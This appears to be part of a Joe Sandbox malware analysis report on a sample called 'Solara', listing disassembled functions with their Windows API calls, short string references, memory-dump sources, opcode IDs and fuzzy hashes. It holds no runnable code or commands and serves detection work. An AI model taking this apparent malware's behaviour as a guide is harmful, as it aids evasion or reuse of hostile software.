Function 00417494 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

Z, xrefs: 00417511

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: Z
API String ID: 0-1505515367
Opcode ID: dac676fd14aff61784c12958abf25b30edfafd2c81a535338022d457bf5cdeea
Instruction ID: a30c3434eb78bae3259823695d98683277f711368950b8e2f16f5bea92b34a8b
Opcode Fuzzy Hash: dac676fd14aff61784c12958abf25b30edfafd2c81a535338022d457bf5cdeea
Instruction Fuzzy Hash: A421FB3560D7808BD309C739D5502ABBFE36BDE306F0886ADD0CA87745DA3CCA068756

Function 00407430 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cdd836b57597261624e13f4db03fde979dd871f42a36d7d91432a0a9c10a45c
Instruction ID: a76e721c3722a630d0fb4aad4034161d24e1394987668f03c6f9ea3122406491
Opcode Fuzzy Hash: 8cdd836b57597261624e13f4db03fde979dd871f42a36d7d91432a0a9c10a45c
Instruction Fuzzy Hash: CC22B272A087118BC725DE18D9806ABB3E1BFC4319F19893ED9C6A7381D738B851CB47

Function 00438730 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffbdba40f33d874917f865a4caae92feadad974be30d531bc310c485360a08c4
Instruction ID: 70f9c8d33bed0a887bd04825a0d65e11373c21b69666ef710cc48ba24fc1fce8
Opcode Fuzzy Hash: ffbdba40f33d874917f865a4caae92feadad974be30d531bc310c485360a08c4
Instruction Fuzzy Hash: 38C15771B083015BD728DB25CC8162BF793EBC9314F29A52EF59597391DB38EC028799

Function 004058E0 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59dc58f8b72f3261978d582eceea8e2fa17fcb4f2cc941d0ed30612a6001ea79
Instruction ID: a7592e11ca47ea3e46ea553e43cba76b6aa0764661e9ebcde4bfce418c791712
Opcode Fuzzy Hash: 59dc58f8b72f3261978d582eceea8e2fa17fcb4f2cc941d0ed30612a6001ea79
Instruction Fuzzy Hash: 5AF1DF356087418FD724CF29C88166BFBE2EFD9304F08882EE5D597391E679E844CB96

Function 00427CDD Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9100b5eb5fb27d43c5cf651ed6efc702689b9e2ba8049f4dcd894fb35b88d4da
Instruction ID: c002e98aa9dacb960afd0755ca10f4a619db791b8d2d7ec894e175e901c6b24e
Opcode Fuzzy Hash: 9100b5eb5fb27d43c5cf651ed6efc702689b9e2ba8049f4dcd894fb35b88d4da
Instruction Fuzzy Hash: 6DC136B5E04226CFDB14CF64D8516AEB7B1FF86310F16826DD419AB381EB389941CB94

Function 0043F220 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ba08e9262857ed6bf6e116363f7c0704c5d9a7db77371a184cd88586c9e593f2
Instruction ID: 0d6705c080464e5604ad7cd4c3e8d1002dce67e3b26aca40692b810b8d578482
Opcode Fuzzy Hash: ba08e9262857ed6bf6e116363f7c0704c5d9a7db77371a184cd88586c9e593f2
Instruction Fuzzy Hash: F191E135A083119BCB25DF28C88192BB7E1FF99310F18A43DE9858B362D739EC54D796

Function 0043EF50 Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 10148aeaf7fa5ea12a9611c21b7724a301ec114a61df4b5040950761e2d17b04
Instruction ID: 8e9e712227cb5666b9137af00f971b3bed3be964946e431ff2faf8fe83471e7a
Opcode Fuzzy Hash: 10148aeaf7fa5ea12a9611c21b7724a301ec114a61df4b5040950761e2d17b04
Instruction Fuzzy Hash: FB81F1356043029BD7149F19D890A2BB3F2FF99710F15957DE8848B3A5EB34EC15CB8A

Function 0043C010 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fff0db5359ad6ff1b855b71272d9ab6e7fc408df289deaece49282d276e4125
Instruction ID: e9df0b7dd15ff3979cdd6b27a8beb2bdf3c8e34fd945e1d8eb657bb1d22554da
Opcode Fuzzy Hash: 0fff0db5359ad6ff1b855b71272d9ab6e7fc408df289deaece49282d276e4125
Instruction Fuzzy Hash: 54910670A0D3828BC325CE69C4D062ABBE1AFD9304F19C6BED4E55B342D639D845CB96

Function 004250C0 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05285be5c1fafb21d3c14f3ee55ebf067695a70cff164a6653ec132e6bb213c2
Instruction ID: e9b12275dff7888e55b93fd00587a30dd41be6173a06044378c0c0ce21f89c70
Opcode Fuzzy Hash: 05285be5c1fafb21d3c14f3ee55ebf067695a70cff164a6653ec132e6bb213c2
Instruction Fuzzy Hash: 1D7112B16093408BC7149F28D89277BBBE1EF81314F94892DE4C58B391E779D904CB9A

Function 0043C559 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8878c1f1470f54cac091f7121d7a2120f9266abf6f39cd78c4b9d97e12e042e
Instruction ID: 13d8e2c369704eeb70ed035f42a0242f3ab0a554236198730144152ef38a701d
Opcode Fuzzy Hash: f8878c1f1470f54cac091f7121d7a2120f9266abf6f39cd78c4b9d97e12e042e
Instruction Fuzzy Hash: 3B512DB1C052528FD704CF69DC8166EBF61FB16314F049ABDD852BB3A3E6348842CB98

Function 0041D860 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec2532a013675b52af9d00602fde89d1287a1df278891fc3a7fdea8734410de9
Instruction ID: 1907af8ec1c737c12018513b553f5bf06ff1f00c98905cbf1f5f66595908840a
Opcode Fuzzy Hash: ec2532a013675b52af9d00602fde89d1287a1df278891fc3a7fdea8734410de9
Instruction Fuzzy Hash: 7F6158759083915FC3258F29C880A6F7BE1AF95214F4882AEE8A44B392D635D845C756

Function 0043849F Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feaa891308d020e5ce0f71e2df48ee853ad0e716dbbf68cff114dedfcf9adfa1
Instruction ID: 69b6b2ce86f869775d7dc0054b69922b096723557ea721dc1f71e405c3da1779
Opcode Fuzzy Hash: feaa891308d020e5ce0f71e2df48ee853ad0e716dbbf68cff114dedfcf9adfa1
Instruction Fuzzy Hash: E1510975B002099FDB18CF69D89277FB7B2FB89304F14542EE202A7391DB799901CB98

Function 00429680 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c14744f61c5f1dec34170e514bdc839971fdef57b95ce3d3a615a8f97ede0782
Instruction ID: 588b2ae75d67dd2325b1d1a9b55dab356a866e3f9c658e9cc3efedf394fdaee3
Opcode Fuzzy Hash: c14744f61c5f1dec34170e514bdc839971fdef57b95ce3d3a615a8f97ede0782
Instruction Fuzzy Hash: 8D51F272714A108FC734CE38D8D1667B7E2ABC2314B59462ED8A6C7781EB38EC05C794

Function 0042D2B4 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 942edac727b3cffb8a3a1bf2111727ea21a4481219105a2551319d0277bebed9
Instruction ID: 3488b58ab431f448c01de3bf7053274778b5d81228bf343d50e2562b6d93fb69
Opcode Fuzzy Hash: 942edac727b3cffb8a3a1bf2111727ea21a4481219105a2551319d0277bebed9
Instruction Fuzzy Hash: 19412875A093918BD7168F2AE4A0733FBE1AF63301F781489E8D34B392D7799802C759

Function 0041457C Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653b4213c78da6e4a12898239bd7186c559521fbb7a16f523599959ee456718e
Instruction ID: 16d1c463e5ae7e58bb22e6b9079cc9d65b17a6b17291596ce1f2c6bfd5b33dae
Opcode Fuzzy Hash: 653b4213c78da6e4a12898239bd7186c559521fbb7a16f523599959ee456718e
Instruction Fuzzy Hash: 7E315476A085219BD31CCB18E851A7BB363BBDA705F2A852EC58713225DA74BC42C7CD

Function 0040D3C3 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4c9e1dcc9c5ec8805a793cd23df2477e8129dd7adba1d4fd6028bd2d68dfc4f4
Instruction ID: bbc22fe31499e6f8eddcd88478dec0f026be5f50bb815333038ae186a23b3686
Opcode Fuzzy Hash: 4c9e1dcc9c5ec8805a793cd23df2477e8129dd7adba1d4fd6028bd2d68dfc4f4
Instruction Fuzzy Hash: 9A212C38B482109BD7084B59D8D153BB792EBD6324F58C53EE59263396C37CAC068B4D

Function 004357C0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: eab81e75700f8a186743f4c1e43eda9669e3423d07df69c08b24b048c9e14ebe
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: DF114C33A055D04EC31A9D3C8440565BFA30A97334F6D939AF4B49B2D2D6278D8B8369

Function 00429810 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0447fffad7682d84063a170106a2012487eba73bf37923d7e35e7d801daf4790
Instruction ID: 74ba655dd8b0a69455f10271c13097c4cca2cf5dc5e72b68ed5b7a74393510e4
Opcode Fuzzy Hash: 0447fffad7682d84063a170106a2012487eba73bf37923d7e35e7d801daf4790
Instruction Fuzzy Hash: CA01B5F5F1031147D720BE51A8C0727B2A86F82708F0C453ED40957342DB7AFC05C2A9

Function 0043173B Relevance: 57.9, APIs: 1, Strings: 32, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004317C8

Strings

), xrefs: 00431920
N, xrefs: 00431760
9, xrefs: 0043187C
:, xrefs: 004318B0
., xrefs: 00431940
4, xrefs: 00431845
8, xrefs: 00431831
", xrefs: 004317FF
<, xrefs: 0043181D
2, xrefs: 00431774
^, xrefs: 00431930
M, xrefs: 0043176F
>, xrefs: 00431813
$, xrefs: 004317F5
, xrefs: 00431809
$, xrefs: 00431910
6, xrefs: 0043183B
E, xrefs: 00431886
&, xrefs: 004317EB
0, xrefs: 00431859
O, xrefs: 004318C0
2, xrefs: 0043184F
/, xrefs: 004318A0
R, xrefs: 004318D0
R, xrefs: 004318E0
c, xrefs: 00431950
L, xrefs: 0043176A
W, xrefs: 00431900
:, xrefs: 00431827
0, xrefs: 00431A1C
H, xrefs: 00431756
>, xrefs: 00431890

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: AllocString
String ID: $"$$$$$&$)$.$/$0$0$2$2$4$6$8$9$:$:$<$>$>$E$H$L$M$N$O$R$R$W$^$c
API String ID: 2525500382-481378849
Opcode ID: 20647a8f96ad956c88b0e7d685b9b569d5f23a405f89cde09cca847cdfe91337
Instruction ID: 7cd05fba57e7d742c193bd2b2f916de33a36bbf6e152df55b640cd8785c30d01
Opcode Fuzzy Hash: 20647a8f96ad956c88b0e7d685b9b569d5f23a405f89cde09cca847cdfe91337
Instruction Fuzzy Hash: E691092110CBC189D332C63C885874FBED15BE7224F188B9DE1E98B3E6D6B5850AC767

Function 0043247F Relevance: 57.9, APIs: 1, Strings: 32, Instructions: 172memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432504

Strings

$, xrefs: 00432531
E, xrefs: 004325C2
0, xrefs: 00432595
8, xrefs: 0043256D
R, xrefs: 0043261C
, xrefs: 00432545
O, xrefs: 004325FC
L, xrefs: 004324A6
$, xrefs: 0043264C
c, xrefs: 0043268C
., xrefs: 0043267C
&, xrefs: 00432527
:, xrefs: 00432563
<, xrefs: 00432559
4, xrefs: 00432581
:, xrefs: 004325EC
W, xrefs: 0043263C
6, xrefs: 00432577
H, xrefs: 00432492
2, xrefs: 0043258B
2, xrefs: 004324B0
M, xrefs: 004324AB
", xrefs: 0043253B
N, xrefs: 0043249C
0, xrefs: 00432765
), xrefs: 0043265C
9, xrefs: 004325B8
>, xrefs: 0043254F
R, xrefs: 0043260C
>, xrefs: 004325CC
/, xrefs: 004325DC
^, xrefs: 0043266C

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: AllocString
String ID: $"$$$$$&$)$.$/$0$0$2$2$4$6$8$9$:$:$<$>$>$E$H$L$M$N$O$R$R$W$^$c
API String ID: 2525500382-481378849
Opcode ID: 23a3269617f9770ecf5cc6e00383ab778b459d80473c22e4d163fe3dfae77031
Instruction ID: 4e6eab716204590b26222aaf83f04d75c561016eb26900b26d3c0d76e8c63749
Opcode Fuzzy Hash: 23a3269617f9770ecf5cc6e00383ab778b459d80473c22e4d163fe3dfae77031
Instruction Fuzzy Hash: 2D910C2150CBC189D332C63C894874FBED16BE7224F188B9DE1E89B3D2D6B58506C767

Function 004327D9 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 74COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004327E3
VariantInit.OLEAUT32 ref: 004327F6

Strings

<, xrefs: 00432841
0, xrefs: 00432855
,, xrefs: 00432891
2, xrefs: 0043284B
8, xrefs: 0043282D
*, xrefs: 00432873
4, xrefs: 00432869
/, xrefs: 0043288C
., xrefs: 00432887
>, xrefs: 00432837
:, xrefs: 00432823
D, xrefs: 00432819
6, xrefs: 0043285F
(, xrefs: 0043287D

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$.$/$0$2$4$6$8$:$<$>$D
API String ID: 2610073882-574869987
Opcode ID: 6a9d9d6363f32a5cd3c7ebcb092db2a57f38bcf899637fb1440c41d8d17b5090
Instruction ID: f3fd106303cf8130f5d1fd3d036fd21114339d01a7ea6eeb0a4ee57b439430e0
Opcode Fuzzy Hash: 6a9d9d6363f32a5cd3c7ebcb092db2a57f38bcf899637fb1440c41d8d17b5090
Instruction Fuzzy Hash: 0141D43400C7C28AD326DB78855875EFFE16B97314F484A9DE1E44A3D6D3BA810ACB67

Function 00431A52 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00431A7F

Strings

>, xrefs: 00431AC0
/, xrefs: 00431B15
0, xrefs: 00431ADE
D, xrefs: 00431AA2
:, xrefs: 00431AAC
*, xrefs: 00431AFC
,, xrefs: 00431B1A
2, xrefs: 00431AD4
4, xrefs: 00431AF2
., xrefs: 00431B10
(, xrefs: 00431B06
<, xrefs: 00431ACA
6, xrefs: 00431AE8
8, xrefs: 00431AB6

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitVariant
String ID: ($*$,$.$/$0$2$4$6$8$:$<$>$D
API String ID: 1927566239-574869987
Opcode ID: 7f4fd56acec3c8d0c59e9e00ea6128d13164e0310569d91f22d445930b22dd7c
Instruction ID: d88a7ece5d961f4d5d686885019280e1f7b2d94b427488d7bead15871f2f4855
Opcode Fuzzy Hash: 7f4fd56acec3c8d0c59e9e00ea6128d13164e0310569d91f22d445930b22dd7c
Instruction Fuzzy Hash: 33412A3400C7C18ED326DB78845875AFFE19B97328F484A9DE1E54B2D2D7B6840ACB67

Function 0022AAE2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,0022AACD,?,?,?,?,?,?,?,?,?), ref: 0022AB88
__alloca_probe_16.LIBCMT ref: 0022AC43
__alloca_probe_16.LIBCMT ref: 0022ACD2
__freea.LIBCMT ref: 0022AD1D
__freea.LIBCMT ref: 0022AD23
__freea.LIBCMT ref: 0022AD59
__freea.LIBCMT ref: 0022AD5F
__freea.LIBCMT ref: 0022AD6F

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: d46ea88ba2381b5599d096642b70a69e44bc4cd434c44688d288479a2ba834c9
Instruction ID: 3f935af11bf4ce49837cc047e1577b5af0a57c058ab7c46c27e863c80d105e4e
Opcode Fuzzy Hash: d46ea88ba2381b5599d096642b70a69e44bc4cd434c44688d288479a2ba834c9
Instruction Fuzzy Hash: 0F71F63292022A7BDF319EE4AC42BEE77BADF59710F140056E804A7992E7758C61CB52

Function 0020FE29 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0020FE70
__alloca_probe_16.LIBCMT ref: 0020FE9C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0020FEDB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0020FEF8
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0020FF37
__alloca_probe_16.LIBCMT ref: 0020FF54
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 0020FF96
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0020FFB9

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 80ddb3a95b770e44cf7496b57b52db33d12645f3daec6add571a5b7fbec8636f
Instruction ID: 3934f59a70484c1caab02ee096d72cbdd7348c5534277310c53225b6f7d10453
Opcode Fuzzy Hash: 80ddb3a95b770e44cf7496b57b52db33d12645f3daec6add571a5b7fbec8636f
Instruction Fuzzy Hash: 4F51AD7266031BABEB705F60CD49FAA7AA9EF41750F244435F910DA9D2DB70DC208B50

Function 0021EE76 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0021EEFC

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction ID: 3a281bac7989c28f4deb643dff084ae60454cf7878b980c52566595a27b5f233
Opcode Fuzzy Hash: a643fc62b7b2457b9ae550856610bcc28d146668833daaf95fb6042a2f580310
Instruction Fuzzy Hash: D0B16972A20356AFDF118F64CC41BEE7BE5EF29310F154165EC54AB282D274DDA2CBA0

Function 00210D40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00210D77
___except_validate_context_record.LIBVCRUNTIME ref: 00210D7F
_ValidateLocalCookies.LIBCMT ref: 00210E08
__IsNonwritableInCurrentImage.LIBCMT ref: 00210E33
_ValidateLocalCookies.LIBCMT ref: 00210E88

Strings

csm, xrefs: 00210E1D

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b86116adf2776cfc88a52e5cbab73e21ca22e1ae1ff062eca13548c221216d20
Instruction ID: da9a1e47c2c652f11023a92153f95c9a055712a59543726401bbe0a6fde1f9a0
